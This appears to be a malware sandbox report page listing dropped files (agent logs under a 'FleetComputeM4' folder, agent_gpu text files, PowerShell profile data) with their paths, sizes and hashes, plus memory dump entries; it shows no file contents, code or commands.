SHA256 6ee054c9458b959459d31a4b6a8f5e8f9c0b324ed23408ea500d4e6bfc7af571
MD5 a065f633f22f5acdc39cb2bf8a4d4b54
SHA1 21e25f7ddb70b9f069d787b90bd59511c9f25453
SHA512 f3f8493eeb1a7434e5abfe86522c340f6533d5809bad9e89d05f2f2c85a32b13468de3c0c40aaf4455ef2b7e6f9dcd86abe657ff2eb6a2f7e0c0aa12a2ae463e
TLSH
T16751FDC1B27EC25AAAF27EF181B65BC0C9A303135D3A91F65275545AC0278854F36CB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 789B
SHA256 20343564072999710967e8f59369e81d8ac2890ab523f22316b3bf5c23da239a
MD5 299617b6b0c16d42f0f9567b30145b41
SHA1 6630099ab8392aeae62a957d46682eb2aa9eb0c0
SHA512 7e430955ac1a4c27595b6900b3a02794b74b0bb6712377af7c0a3513e0a1f4dedd98c816c7507ce4eefb7fe30db28dc2ec1996c3be9b5b2cb3a051498e835f92
TLSH
T1B50128C1B6AF806A2CF769F222775AD59ABA07178D7591F5A2F29424803B4040F36C33
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 865B
SHA256 2aa1782858d07759ae0b03a6b43c713ddb2395ee33cadb7e70ab67fc58cae5f4
MD5 bea6cc28f24d07103e1c29e515962337
SHA1 df4f0334f38550b1bc4d17ec1c131ff83c855b00
SHA512 3e006fc1d0444d75382a973b4a3afe3be8b3ffe5b7b24c6ed58e0f521538e7ffa0b2fe29b7d7917fbd4aa3c7deb235ac100ece77bb50028c988f77c3c3b706f2
TLSH
T1BE112BC1B2BF80266CF66AF216775BD09A7A07178D7596F5A2F69028C07B4041F36C73
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 974B
SHA256 6030180ad1d3a27d1251343bb8a1bb462a7b91b431040dfd6ba6986ac79cfb35
MD5 fff03b17a2ccdb9b9fda7daee65efc15
SHA1 f98112ab74525b5ee581b1ed89286eb5985ee643
SHA512 7488c16b89b685e6d032cbcb3db1c0d9c7bfe8c06a6ef085b8f6d986990614853377c897205fd9c56da7481029f3e75b5e17544b4967eebf9fce2f4ba558b659
TLSH
T12E113AC1B2BF811A6CF6AAF216775BD0DA7A07164E7591F2A2F65028C07B4400F36CB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1018B
SHA256 f6fdec9e5b6a304641786b9be7d948e26c98bf8fe5133dd92515f62343c91de8
MD5 6415649b5ab8a6fb19bb7e984076f2b0
SHA1 d7af39ba05a5889333048ac1151cd5095cb16e93
SHA512 44b9ca71717545e382ef537304adb8c08a9e01a36a65e140cd15650b041f2a1a6694e5ba6a9b4df882f5f692eee8bcca2541f134a533da4c28422ad4b74d2b21
TLSH
T15B115BC1B1BF815A6CF6AAF216765BD0D67B03264D7591F2A1F65028C07B4400F36CB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 9f019bc9edf2403f1a9b96c2afa837c3f1dec7efdef25a1322065b433ad8f1de
MD5 a5801ed451997f7665f813adcf07f0d9
SHA1 6640db2ec5e5868de619884bd214536d022dccfd
SHA512 7110609f258f8b64ac46619602bd582c262bcbec17a93a02416e0896d744d5caa1133ee2360623111f3045732b1eddcc3690c48ba3d96f028ac79a2b0751cf29
TLSH
T1C22168D1B1BF815A6CF2BAF205765BD0D6AB03264D7641F2A1B65028C07B4800F36CB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 18b2e3d64140e95e36a805054258ac225f0fe757875483e2e480c322cbc1f2b9
MD5 597250569d4934500e463d60cb0ad182
SHA1 aef3c1ad56a59fb6d246d6a9cf8264bf0e33e3b9
SHA512 9f2afa0e1b3681774173beebf65af2f93649a09dbc91fbf1fd2438ac2042f2d2ba5b974510add0074c8191c8267e4ba6d6e2e299a7faee62c43150775e8bf681
TLSH
T15D217FD1B17F8156ACF2BEF145725BD0DAA703264D7641F2A1B65428C0374800F36C73
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 330B
SHA256 c84381b356b84523a019b5d7dce4dee90ecf2f6dbe80f2f0518636f2235dec89
MD5 81b1f2f2be6c47c506ee4bb14872425b
SHA1 7b1689b28397126634ace199dabd4337fe18df3c
SHA512 8849186ae5fbd4e9343f7ad77b7ad70447913b061a40210086a10402718b6583e070d9778a1f0e559d39435080b404b472be36d3a8fd670041c33bc2a1b634be
TLSH
T1C7E0DF91F2DF80282CB556B3037B9AC41AB80A5A8E6955F0A7E1C428407A8040F22C33
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 370B
SHA256 76ab5c09f8065ce5433e9a884d3b00babf932dce72521af2f57ef208a5e70718
MD5 5beb8836824abacf8dc8b01a04aa37e4
SHA1 55c7ab8bb6091c1c08107148ab717e2c256401a3
SHA512 5372e1fc1b8859adf2157d445f0df657e59604aa78af4d77d09d9506ef8eac01960fb3d0e3ffc5d292ac46ab56d3c7d646fa7bf3373b6fe8bafc31a4cbd4c03b
TLSH
T1AEE092D2F2DF80252CB556B313779AC41AB80A5A8EB955F4A6E1D428847A8040F32C33
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5ec110f3a27e221d2449c71508366b38370dcd8353abec2c3c78d82124951dc3
MD5 dca3d38b7908fcf9ac28cce44dbf3b1f
SHA1 55cc40d5c2830b40f23818961a7c7e819749ddfd
SHA512 9290b656bc8ef9d8776c0194738ecf6036a548fdf9e284fa79ada892f509fac4baa4353a33b23c842cccda00bd7c099330d4576aa7cb3abdeadfe2afbd3efceb
TLSH
T1AB219733F3DC8215CC99413A10CEAC1032BAC3CB809ECF9B7B84E255A43F6A9CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_gpmpp4qx.hr4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gpmpp4qx.hr4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

agent_gpu2.txt

Path C:\Users\Admin\AppData\Local\Temp\agent_gpu2.txt
Size 72B
SHA256 702bc2eaaede7b87f9ee1dcaea888d78b17cd1526c016695ed39e384588e8f66
MD5 723c7a3cf8b9a1feaefa8a05aaba4a95
SHA1 04ef73855160ee4ae5c86e0b0751bc38a6d7d256
SHA512 d3514fe8ea5bd0323f17370e9bf9191b22d713c70a3cfac3b0ae8528189072ea1b09d78f278181d5d2a225d481094e6a04fbf047e9cd0cd843d4b296919a35ec
TLSH
T1D8A022020008E20C08838B00F0B20A08E3F2E230020800CC3B83B80F0F8202C238A0B8
MD5 SHA1 SHA512 TLSH

Submit Download

agent_gpu4.txt

Path C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt
Size 43B
SHA256 c62ab326b8361707c05e3602dc2fcc36f90e3d47f6c260a361640b1d18d2f645
MD5 cf692509f242c9f29ad15e735d2843d7
SHA1 d70f0c7dad8efc1997178328978af344f5244ba0
SHA512 d354661bcdd45891d8c81157cee4c01a6d029a940d020f5bcf1dfefd01414afcb7a517973810134cbcc42178a790ec9d601e73b59c8ff7881295ab650f414dfe
MD5 SHA1 SHA512

Submit Download

agent_gpu1.txt

Path C:\Windows\TEMP\agent_gpu1.txt
Size 152B
SHA256 136d94dfb544f0e1b7aa03e61af0c8d7c4e37c427963e3b157d1bf8c5fff4ac5
MD5 eac478794518a12c1bda38d9864489cc
SHA1 60a6ef2e33ecce698347bbc7f72c4c58a6c126d9
SHA512 9a2685189fb296a78c826f9993ee6740a01d67e60e221f8d6dd20458773814fd4f0e3487d6ebf0406131fc646c46983967b01a1b7a8785ccdd87d86979fd9d89
TLSH
T17DC04C1B72DD0114F0A2938583F1447757153964947D559D60C6174755F0D0166466DB
MD5 SHA1 SHA512 TLSH

Submit Download

agent_gpu3.txt

Path C:\Windows\Temp\agent_gpu3.txt
Size 40B
SHA256 602dbbf4f8544fcc0676bafff15c4917ad8ae7db7f704d69b785749079262260
MD5 5899743b8ccb65ed2eca76a6a9215413
SHA1 b7b5e5b60ba8b0b78843c39f28e773cfe2bed8c9
SHA512 b50e80e46e15d6c62498165aa9194adb0fc80096e2d252c468255b76069d06cc7439658d2f393b172e6f07decffa3a4e5b214bff225a838029404d481b1096c8
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 88aa11679e1785a973ea5808922c5fbaee8a11120034912ac5d3d3feaeea26c3
MD5 ca8e80c41ae51a421a292c0ce0b4dc00
SHA1 691c4294a6891de35bb880854aecbf35b6541f11
SHA512 6f2c528b8f8576e623226bf5e86d91eb218f02a6f2ba4c2c9619ecc0f2b132fce8884e6eac994cf215a93be1b1bb57ec1417e8afd2264f79a8be5c460cd69cdc
TLSH
T165219733B3DC8215CC99413A10CEAC1032BAC3CB809ECF9B7B84E255A42F6A9CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1100-227-0x00007FF640660000-0x00007FF6450D1000-memory.dmp

Download

memory/1568-199-0x00007FF640660000-0x00007FF6450D1000-memory.dmp

Download

memory/1796-72-0x000002CCB24B0000-0x000002CCB24DA000-memory.dmp

Download

memory/1796-70-0x000002CCB2270000-0x000002CCB2322000-memory.dmp

Download

memory/1796-73-0x000002CCB24B0000-0x000002CCB24D4000-memory.dmp

Download

memory/1796-50-0x000002CC99D10000-0x000002CC99D32000-memory.dmp

Download

memory/1796-69-0x000002CCB2010000-0x000002CCB202E000-memory.dmp

Download

memory/1796-71-0x000002CCB2030000-0x000002CCB203A000-memory.dmp

Download

memory/2560-149-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/2560-221-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/2560-165-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/2560-169-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/2560-182-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/2664-196-0x00007FF640660000-0x00007FF6450D1000-memory.dmp

Download

memory/2664-201-0x00007FF640660000-0x00007FF6450D1000-memory.dmp

Download

memory/2664-192-0x00007FF640660000-0x00007FF6450D1000-memory.dmp

Download

memory/3580-112-0x000002669A510000-0x000002669A52E000-memory.dmp

Download

memory/3744-143-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/4228-198-0x00007FF640660000-0x00007FF6450D1000-memory.dmp

Download

memory/4548-25-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/5868-148-0x00007FF655A80000-0x00007FF655B28000-memory.dmp

Download

memory/5988-20-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/6092-195-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/6092-174-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/6092-150-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/6092-166-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/6092-203-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download

memory/6092-170-0x00007FF78D2B0000-0x00007FF78D358000-memory.dmp

Download